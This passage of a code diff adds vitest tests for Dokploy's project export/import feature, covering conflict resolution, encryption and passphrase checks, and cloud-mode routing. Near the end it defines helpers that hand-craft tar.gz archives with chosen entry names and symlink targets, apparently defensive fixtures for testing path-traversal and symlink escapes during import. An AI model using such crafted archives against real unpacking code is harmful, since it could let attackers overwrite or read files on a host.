"port:8080": { action: "rename", value: "not-a-port" },
|
||||
"projectName:shop": { action: "skip" },
|
||||
"network:shared-net": { action: "rename", value: "shared-net-2" },
|
||||
});
|
||||
expect(resolved["domain:api.example.com"]).toEqual({
|
||||
action: "rename",
|
||||
value: "api2.example.com",
|
||||
});
|
||||
expect(resolved["port:8080"]).toEqual({ action: "skip" });
|
||||
expect(resolved["projectName:shop"]).toEqual({
|
||||
action: "rename",
|
||||
value: "shop (imported)",
|
||||
});
|
||||
expect(resolved["network:shared-net"]).toEqual({
|
||||
action: "rename",
|
||||
value: "shared-net-2",
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves the project name from the rename choice", () => {
|
||||
expect(
|
||||
resolvedProjectName(
|
||||
{ kind: "newProject", name: "shop" },
|
||||
{ "projectName:shop": { action: "rename", value: " shop-2 " } },
|
||||
),
|
||||
).toBe("shop-2");
|
||||
expect(resolvedProjectName({ kind: "newProject", name: "shop" }, {})).toBe(
|
||||
"shop",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: { projectId: "project-src", name: "shop", env: "" },
|
||||
environments: [{ environmentId: "env-1", name: "production", env: "" }],
|
||||
services: [
|
||||
{
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
appName: "web-abc123",
|
||||
environmentId: "env-1",
|
||||
networkIds: ["net-src"],
|
||||
domains: [
|
||||
{ domainId: "dom-1", host: "api.example.com", enabled: true },
|
||||
{ domainId: "dom-2", host: "admin.example.com", enabled: true },
|
||||
],
|
||||
ports: [
|
||||
{ portId: "p-1", publishedPort: 8080, targetPort: 80 },
|
||||
{ portId: "p-2", publishedPort: 9090, targetPort: 90 },
|
||||
{ portId: "p-3", publishedPort: 7070, targetPort: 70 },
|
||||
],
|
||||
},
|
||||
],
|
||||
shared: {
|
||||
network: [{ networkId: "net-src", name: "shared-net", serverId: null }],
|
||||
},
|
||||
},
|
||||
requirements: [
|
||||
{
|
||||
kind: "network",
|
||||
originalId: "net-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
name: "shared-net",
|
||||
},
|
||||
],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const runApply = async (
|
||||
conflictResolutions: Plan["conflictResolutions"],
|
||||
networkResolution: "keep" | "rename" | "skip",
|
||||
) => {
|
||||
const { applications, domains, environments, network, ports, projects } =
|
||||
await import("@dokploy/server/db/schema");
|
||||
const inserted = new Map<unknown, Record<string, unknown>[]>();
|
||||
let counter = 0;
|
||||
const writeDb = {
|
||||
query: {
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
github: { findFirst: async () => undefined },
|
||||
gitlab: { findFirst: async () => undefined },
|
||||
gitea: { findFirst: async () => undefined },
|
||||
bitbucket: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: (table: unknown) => ({
|
||||
values: (values: Record<string, unknown>) => {
|
||||
const row: Record<string, unknown> = {
|
||||
...values,
|
||||
id: `row-${++counter}`,
|
||||
};
|
||||
if (table === projects) row.projectId = "project-new";
|
||||
if (table === environments) row.environmentId = "env-new";
|
||||
if (table === network) row.networkId = "net-new";
|
||||
if (table === applications) row.applicationId = "app-new";
|
||||
if (table === domains) row.domainId = `dom-new-${counter}`;
|
||||
const list = inserted.get(table) ?? [];
|
||||
list.push(row);
|
||||
inserted.set(table, list);
|
||||
return { returning: async () => [row] };
|
||||
},
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
|
||||
fn({ ...writeDb }),
|
||||
} as unknown as TransferWriteDb;
|
||||
|
||||
const plan: Plan = {
|
||||
target: { kind: "newProject", name: "shop" },
|
||||
resolutions: {
|
||||
"network:net-src": {
|
||||
requirementKey: "network:net-src",
|
||||
action: "create",
|
||||
},
|
||||
},
|
||||
serverMap: { null: null },
|
||||
appNameMap: { "web-abc123": "web-xyz789" },
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [
|
||||
conflict("projectName", "shop", ["rename"]),
|
||||
conflict("domain", "api.example.com", ["rename", "skip"]),
|
||||
conflict("domain", "admin.example.com", ["rename", "skip"]),
|
||||
conflict("port", "8080", ["rename", "skip", "keep"]),
|
||||
conflict("port", "9090", ["rename", "skip", "keep"]),
|
||||
conflict("network", "shared-net", ["keep", "rename", "skip"]),
|
||||
],
|
||||
conflictResolutions: {
|
||||
...conflictResolutions,
|
||||
"network:shared-net":
|
||||
networkResolution === "rename"
|
||||
? { action: "rename", value: "shared-net-2" }
|
||||
: { action: networkResolution },
|
||||
},
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 2, dumps: 0 },
|
||||
};
|
||||
|
||||
const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest");
|
||||
return {
|
||||
result,
|
||||
project: inserted.get(projects)?.[0],
|
||||
domains: inserted.get(domains) ?? [],
|
||||
ports: inserted.get(ports) ?? [],
|
||||
networks: inserted.get(network) ?? [],
|
||||
application: inserted.get(applications)?.[0],
|
||||
};
|
||||
};
|
||||
|
||||
describe("apply consumes conflict resolutions", () => {
|
||||
it("renames the project and domains, drops skipped ports, renames a port, reuses the existing network", async () => {
|
||||
const out = await runApply(
|
||||
{
|
||||
"projectName:shop": { action: "rename", value: "shop-2" },
|
||||
"domain:api.example.com": {
|
||||
action: "rename",
|
||||
value: "api-2.example.com",
|
||||
},
|
||||
"domain:admin.example.com": { action: "skip" },
|
||||
"port:8080": { action: "skip" },
|
||||
"port:9090": { action: "rename", value: "9091" },
|
||||
},
|
||||
"keep",
|
||||
);
|
||||
expect(out.project?.name).toBe("shop-2");
|
||||
expect(out.domains.map((d) => [d.host, d.enabled])).toEqual([
|
||||
["api-2.example.com", true],
|
||||
["admin.example.com", false],
|
||||
]);
|
||||
expect(out.ports.map((p) => p.publishedPort)).toEqual([9091, 7070]);
|
||||
expect(out.networks).toEqual([]);
|
||||
expect(out.application?.networkIds).toEqual(["existing-network"]);
|
||||
expect(out.result.idMap.network).toEqual({ "net-src": "existing-network" });
|
||||
});
|
||||
|
||||
it("creates the network under a new name when renamed, and drops it when skipped", async () => {
|
||||
const renamed = await runApply({}, "rename");
|
||||
expect(renamed.networks.map((n) => n.name)).toEqual(["shared-net-2"]);
|
||||
expect(renamed.application?.networkIds).toEqual(["net-new"]);
|
||||
|
||||
const skipped = await runApply({}, "skip");
|
||||
expect(skipped.networks).toEqual([]);
|
||||
expect(skipped.application?.networkIds).toEqual([]);
|
||||
expect(
|
||||
skipped.result.warnings.some((w) => w.code === "NETWORK_UNRESOLVED"),
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,183 @@
|
||||
import {
|
||||
createReadStream,
|
||||
createWriteStream,
|
||||
mkdtempSync,
|
||||
readFileSync,
|
||||
rmSync,
|
||||
writeFileSync,
|
||||
} from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { Readable, Writable } from "node:stream";
|
||||
import { pipeline } from "node:stream/promises";
|
||||
import {
|
||||
decryptField,
|
||||
deriveKeys,
|
||||
encryptField,
|
||||
gcmDecryptStream,
|
||||
gcmEncryptStream,
|
||||
makeKeyCheck,
|
||||
TransferCryptoError,
|
||||
verifyKeyCheck,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("deriveKeys", () => {
|
||||
it("rejects a passphrase shorter than 12 characters", async () => {
|
||||
await expect(deriveKeys("short")).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("derives the same keys from the same passphrase and salt", async () => {
|
||||
const first = await deriveKeys("correct-horse-battery-staple");
|
||||
const second = await deriveKeys("correct-horse-battery-staple", first.salt);
|
||||
expect(second.kEnc.equals(first.kEnc)).toBe(true);
|
||||
expect(second.salt).toBe(first.salt);
|
||||
});
|
||||
|
||||
it("derives different keys for a different salt", async () => {
|
||||
const first = await deriveKeys("correct-horse-battery-staple");
|
||||
const second = await deriveKeys("correct-horse-battery-staple");
|
||||
expect(second.salt).not.toBe(first.salt);
|
||||
expect(second.kEnc.equals(first.kEnc)).toBe(false);
|
||||
});
|
||||
|
||||
it("derives different keys for a different passphrase with the same salt", async () => {
|
||||
const first = await deriveKeys("correct-horse-battery-staple");
|
||||
const second = await deriveKeys("another-passphrase-entirely", first.salt);
|
||||
expect(second.kEnc.equals(first.kEnc)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("encryptField / decryptField", () => {
|
||||
it("round-trips a plaintext value", async () => {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const entry = encryptField(kEnc, "secret-1", "hunter2");
|
||||
expect(decryptField(kEnc, "secret-1", entry)).toBe("hunter2");
|
||||
});
|
||||
|
||||
it("fails when the AAD (id) differs from the one used to encrypt", async () => {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const entry = encryptField(kEnc, "secret-1", "hunter2");
|
||||
expect(() => decryptField(kEnc, "secret-2", entry)).toThrow(
|
||||
TransferCryptoError,
|
||||
);
|
||||
});
|
||||
|
||||
it("fails when decrypting with a different key", async () => {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const { kEnc: otherKEnc } = await deriveKeys("a-different-passphrase!!");
|
||||
const entry = encryptField(kEnc, "secret-1", "hunter2");
|
||||
expect(() => decryptField(otherKEnc, "secret-1", entry)).toThrow(
|
||||
TransferCryptoError,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("makeKeyCheck / verifyKeyCheck", () => {
|
||||
it("verifies with the correct passphrase", async () => {
|
||||
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
|
||||
const keyCheck = makeKeyCheck(kEnc);
|
||||
const { kEnc: reDerived } = await deriveKeys(
|
||||
"correct-horse-battery-staple",
|
||||
salt,
|
||||
);
|
||||
expect(verifyKeyCheck(reDerived, keyCheck)).toBe(true);
|
||||
});
|
||||
|
||||
it("fails with the wrong passphrase", async () => {
|
||||
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
|
||||
const keyCheck = makeKeyCheck(kEnc);
|
||||
const { kEnc: wrongKEnc } = await deriveKeys(
|
||||
"totally-wrong-passphrase",
|
||||
salt,
|
||||
);
|
||||
expect(verifyKeyCheck(wrongKEnc, keyCheck)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("gcmDecryptStream edge cases", () => {
|
||||
it("handles an empty payload, one-byte chunks and a truncated ciphertext", async () => {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const encrypt = async (bytes: Buffer) => {
|
||||
const chunks: Buffer[] = [];
|
||||
await pipeline(
|
||||
Readable.from([bytes]),
|
||||
gcmEncryptStream(kEnc),
|
||||
new Writable({
|
||||
write(chunk, _encoding, callback) {
|
||||
chunks.push(chunk);
|
||||
callback();
|
||||
},
|
||||
}),
|
||||
);
|
||||
return Buffer.concat(chunks);
|
||||
};
|
||||
const decrypt = async (bytes: Buffer, chunkSize: number) => {
|
||||
const chunks: Buffer[] = [];
|
||||
const pieces: Buffer[] = [];
|
||||
for (let i = 0; i < bytes.length; i += chunkSize) {
|
||||
pieces.push(bytes.subarray(i, i + chunkSize));
|
||||
}
|
||||
await pipeline(
|
||||
Readable.from(pieces),
|
||||
gcmDecryptStream(kEnc),
|
||||
new Writable({
|
||||
write(chunk, _encoding, callback) {
|
||||
chunks.push(chunk);
|
||||
callback();
|
||||
},
|
||||
}),
|
||||
);
|
||||
return Buffer.concat(chunks);
|
||||
};
|
||||
|
||||
const empty = await encrypt(Buffer.alloc(0));
|
||||
expect(empty.length).toBe(12 + 16);
|
||||
expect((await decrypt(empty, 1)).length).toBe(0);
|
||||
|
||||
const small = await encrypt(Buffer.from("hello world, 21 bytes"));
|
||||
expect((await decrypt(small, 1)).toString()).toBe("hello world, 21 bytes");
|
||||
|
||||
await expect(decrypt(small.subarray(0, 20), 1)).rejects.toThrow(
|
||||
TransferCryptoError,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("gcmEncryptStream / gcmDecryptStream", () => {
|
||||
it("round-trips a file and rejects a flipped byte", async () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), "transfer-crypto-file-"));
|
||||
try {
|
||||
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const plain = join(dir, "plain.bin");
|
||||
const enc = join(dir, "plain.enc");
|
||||
const out = join(dir, "plain.out");
|
||||
writeFileSync(plain, Buffer.alloc(100_000, 7));
|
||||
await pipeline(
|
||||
createReadStream(plain),
|
||||
gcmEncryptStream(kEnc),
|
||||
createWriteStream(enc),
|
||||
);
|
||||
expect(readFileSync(enc).length).toBe(100_000 + 12 + 16);
|
||||
await pipeline(
|
||||
createReadStream(enc),
|
||||
gcmDecryptStream(kEnc),
|
||||
createWriteStream(out),
|
||||
);
|
||||
expect(readFileSync(out).equals(readFileSync(plain))).toBe(true);
|
||||
|
||||
const bytes = readFileSync(enc);
|
||||
bytes[100] = (bytes[100] ?? 0) ^ 0xff;
|
||||
writeFileSync(enc, bytes);
|
||||
await expect(
|
||||
pipeline(
|
||||
createReadStream(enc),
|
||||
gcmDecryptStream(kEnc),
|
||||
createWriteStream(out),
|
||||
),
|
||||
).rejects.toThrow(TransferCryptoError);
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,236 @@
|
||||
import {
|
||||
buildBundleObjectKey,
|
||||
deriveKeys,
|
||||
EXPORTS_DIRECTORY,
|
||||
makeKeyCheck,
|
||||
slugifyProjectName,
|
||||
verifyBundlePassphrase,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { execAsync } from "@dokploy/server/utils/process/execAsync";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return { ...actual, execAsync: vi.fn(actual.execAsync) };
|
||||
});
|
||||
|
||||
describe("slugifyProjectName", () => {
|
||||
it("produces a lowercase, URL-safe slug", () => {
|
||||
expect(slugifyProjectName("My Cool Project!")).toBe("my-cool-project");
|
||||
});
|
||||
|
||||
it("falls back to a generic name for an empty/unslugifiable input", () => {
|
||||
expect(slugifyProjectName("")).toBe("project");
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildBundleObjectKey", () => {
|
||||
it("always stores bundles under the fixed exports directory", () => {
|
||||
const key = buildBundleObjectKey("my-project", "2024-01-01T00:00:00.000Z");
|
||||
expect(key).toBe(
|
||||
`${EXPORTS_DIRECTORY}/my-project-2024-01-01T00-00-00-000Z.dokploy.tar.gz`,
|
||||
);
|
||||
expect(EXPORTS_DIRECTORY).toBe("dokploy-export-import");
|
||||
});
|
||||
});
|
||||
|
||||
describe("verifyBundlePassphrase", () => {
|
||||
it("checks the keyCheck of a manifest read from the head of the object", async () => {
|
||||
const { salt, kEnc } = await deriveKeys("correct-horse-battery-staple");
|
||||
const manifest = {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt,
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: makeKeyCheck(kEnc),
|
||||
},
|
||||
counts: {},
|
||||
};
|
||||
vi.mocked(execAsync).mockResolvedValueOnce({
|
||||
stdout: JSON.stringify(manifest),
|
||||
stderr: "",
|
||||
});
|
||||
const destination = { bucket: "b", endpoint: "e", region: "r" } as any;
|
||||
|
||||
await expect(
|
||||
verifyBundlePassphrase(
|
||||
destination,
|
||||
"x.dokploy.tar.gz",
|
||||
"correct-horse-battery-staple",
|
||||
),
|
||||
).resolves.toMatchObject({ checked: true, valid: true });
|
||||
|
||||
vi.mocked(execAsync).mockResolvedValueOnce({
|
||||
stdout: JSON.stringify(manifest),
|
||||
stderr: "",
|
||||
});
|
||||
await expect(
|
||||
verifyBundlePassphrase(
|
||||
destination,
|
||||
"x.dokploy.tar.gz",
|
||||
"wrong-passphrase-here",
|
||||
),
|
||||
).resolves.toMatchObject({ checked: true, valid: false });
|
||||
|
||||
vi.mocked(execAsync).mockResolvedValueOnce({ stdout: "", stderr: "" });
|
||||
await expect(
|
||||
verifyBundlePassphrase(
|
||||
destination,
|
||||
"x.dokploy.tar.gz",
|
||||
"correct-horse-battery-staple",
|
||||
),
|
||||
).resolves.toMatchObject({ checked: false });
|
||||
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain("rclone cat");
|
||||
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
|
||||
"tar -xzOf - manifest.json ",
|
||||
);
|
||||
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
|
||||
"--count 4194304",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.exportStart on IS_CLOUD", () => {
|
||||
it("rejects deliver: download (or omitted) with BAD_REQUEST", async () => {
|
||||
vi.resetModules();
|
||||
process.env.IS_CLOUD = "true";
|
||||
|
||||
vi.doMock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const { projectExportImportRouter } = await import(
|
||||
"../../server/api/routers/project-export-import"
|
||||
);
|
||||
const caller = projectExportImportRouter.createCaller({
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1", email: "a@b.com" },
|
||||
} as any);
|
||||
|
||||
await expect(
|
||||
caller.exportStart({
|
||||
projectId: "project-1",
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
|
||||
delete process.env.IS_CLOUD;
|
||||
vi.doUnmock("@dokploy/server/services/project-export-import");
|
||||
vi.resetModules();
|
||||
}, 30_000);
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.exportOrganizationStart on IS_CLOUD", () => {
|
||||
it("skips projects with no remote server instead of failing the whole batch", async () => {
|
||||
vi.resetModules();
|
||||
process.env.IS_CLOUD = "true";
|
||||
const runExportBatch = vi.fn(() => ({ exportIds: ["export-1"] }));
|
||||
|
||||
vi.doMock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
projects: {
|
||||
findMany: async () => [
|
||||
{ projectId: "with-server", name: "With server" },
|
||||
{ projectId: "empty", name: "Empty" },
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
vi.doMock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
findOrganizationDestination: vi.fn(async () => ({})),
|
||||
bundleBuildServer: vi.fn(async (_db, projectId: string) => {
|
||||
if (projectId === "with-server") return "server-1";
|
||||
throw new TRPCError({
|
||||
code: "BAD_REQUEST",
|
||||
message: "none of the selected services runs on a remote server",
|
||||
});
|
||||
}),
|
||||
runExportBatch,
|
||||
};
|
||||
},
|
||||
);
|
||||
vi.doMock("../../server/api/utils/audit", () => ({ audit: vi.fn() }));
|
||||
|
||||
const { projectExportImportRouter } = await import(
|
||||
"../../server/api/routers/project-export-import"
|
||||
);
|
||||
const caller = projectExportImportRouter.createCaller({
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-org-cloud", email: "a@b.com" },
|
||||
} as any);
|
||||
|
||||
const result = await caller.exportOrganizationStart({
|
||||
destinationId: "dest-1",
|
||||
passphrase: "correct-horse-battery-staple",
|
||||
projectIds: ["with-server", "empty", "with-server"],
|
||||
});
|
||||
|
||||
expect(result.exports).toEqual([
|
||||
{ projectId: "with-server", name: "With server", exportId: "export-1" },
|
||||
]);
|
||||
expect(result.skipped).toMatchObject([{ projectId: "empty" }]);
|
||||
expect(runExportBatch).toHaveBeenCalledWith(
|
||||
[expect.objectContaining({ buildServerId: "server-1" })],
|
||||
expect.anything(),
|
||||
);
|
||||
|
||||
delete process.env.IS_CLOUD;
|
||||
vi.doUnmock("@dokploy/server/db");
|
||||
vi.doUnmock("@dokploy/server/services/project-export-import");
|
||||
vi.doUnmock("../../server/api/utils/audit");
|
||||
vi.resetModules();
|
||||
}, 30_000);
|
||||
});
|
||||
@@ -0,0 +1,393 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { gzipSync } from "node:zlib";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
capture,
|
||||
detectRequirements,
|
||||
detectWarnings,
|
||||
inspectBundle,
|
||||
serialize,
|
||||
TransferCryptoError,
|
||||
unlockBundle,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const PASSPHRASE = "correct-horse-battery-staple";
|
||||
|
||||
const application = {
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
|
||||
buildArgs: null,
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token",
|
||||
registryId: null,
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
owner: null,
|
||||
repository: null,
|
||||
sourceType: "docker",
|
||||
autoDeploy: false,
|
||||
isPreviewDeploymentsActive: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [],
|
||||
redirects: [],
|
||||
security: [],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const postgres = {
|
||||
postgresId: "pg-1",
|
||||
name: "my-db",
|
||||
appName: "my-db-xyz789",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
databasePassword: "realdbpassword123",
|
||||
serverId: null,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application],
|
||||
postgres: [postgres],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => projectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
applications: { findMany: async () => [application] },
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
vaultProvider: { findMany: async () => [] },
|
||||
registry: { findMany: async () => [], findFirst: async () => undefined },
|
||||
destinations: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const ustarHeader = (name: string, size: number): Buffer => {
|
||||
const header = Buffer.alloc(512);
|
||||
header.write(name, 0, "utf8");
|
||||
header.write("0000777\0", 100, "utf8");
|
||||
header.write("0000000\0", 108, "utf8");
|
||||
header.write("0000000\0", 116, "utf8");
|
||||
header.write(`${size.toString(8).padStart(11, "0")}\0`, 124, "utf8");
|
||||
header.write(
|
||||
`${Math.floor(Date.now() / 1000)
|
||||
.toString(8)
|
||||
.padStart(11, "0")}\0`,
|
||||
136,
|
||||
"utf8",
|
||||
);
|
||||
header.write(" ", 148, "utf8");
|
||||
header.write("0", 156, "utf8");
|
||||
header.write("ustar\0", 257, "utf8");
|
||||
header.write("00", 263, "utf8");
|
||||
let checksum = 0;
|
||||
for (const byte of header) checksum += byte;
|
||||
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
|
||||
return header;
|
||||
};
|
||||
|
||||
const buildMaliciousTarGz = (entryName: string, content: Buffer): Buffer => {
|
||||
const header = ustarHeader(entryName, content.length);
|
||||
const padded = Buffer.concat([
|
||||
content,
|
||||
Buffer.alloc((512 - (content.length % 512)) % 512),
|
||||
]);
|
||||
const archive = Buffer.concat([header, padded, Buffer.alloc(1024)]);
|
||||
return gzipSync(archive);
|
||||
};
|
||||
|
||||
const ustarSymlinkHeader = (name: string, linkTarget: string): Buffer => {
|
||||
const header = Buffer.alloc(512);
|
||||
header.write(name, 0, "utf8");
|
||||
header.write("0000777\0", 100, "utf8");
|
||||
header.write("0000000\0", 108, "utf8");
|
||||
header.write("0000000\0", 116, "utf8");
|
||||
header.write(`${(0).toString(8).padStart(11, "0")}\0`, 124, "utf8");
|
||||
header.write(
|
||||
`${Math.floor(Date.now() / 1000)
|
||||
.toString(8)
|
||||
.padStart(11, "0")}\0`,
|
||||
136,
|
||||
"utf8",
|
||||
);
|
||||
header.write(" ", 148, "utf8");
|
||||
header.write("2", 156, "utf8");
|
||||
header.write(linkTarget, 157, "utf8");
|
||||
header.write("ustar\0", 257, "utf8");
|
||||
header.write("00", 263, "utf8");
|
||||
let checksum = 0;
|
||||
for (const byte of header) checksum += byte;
|
||||
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
|
||||
return header;
|
||||
};
|
||||
|
||||
const buildSymlinkTarGz = (entryName: string, linkTarget: string): Buffer => {
|
||||
const header = ustarSymlinkHeader(entryName, linkTarget);
|
||||
const archive = Buffer.concat([header, Buffer.alloc(1024)]);
|
||||
return gzipSync(archive);
|
||||
};
|
||||
|
||||
let workDir: string;
|
||||
let outDir: string;
|
||||
let bundlePath: string;
|
||||
|
||||
const buildBundle = async () => {
|
||||
const db = fakeDb();
|
||||
const captureResult = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
{
|
||||
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
|
||||
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
|
||||
},
|
||||
);
|
||||
|
||||
await serialize(
|
||||
{
|
||||
resources: captureResult.resources,
|
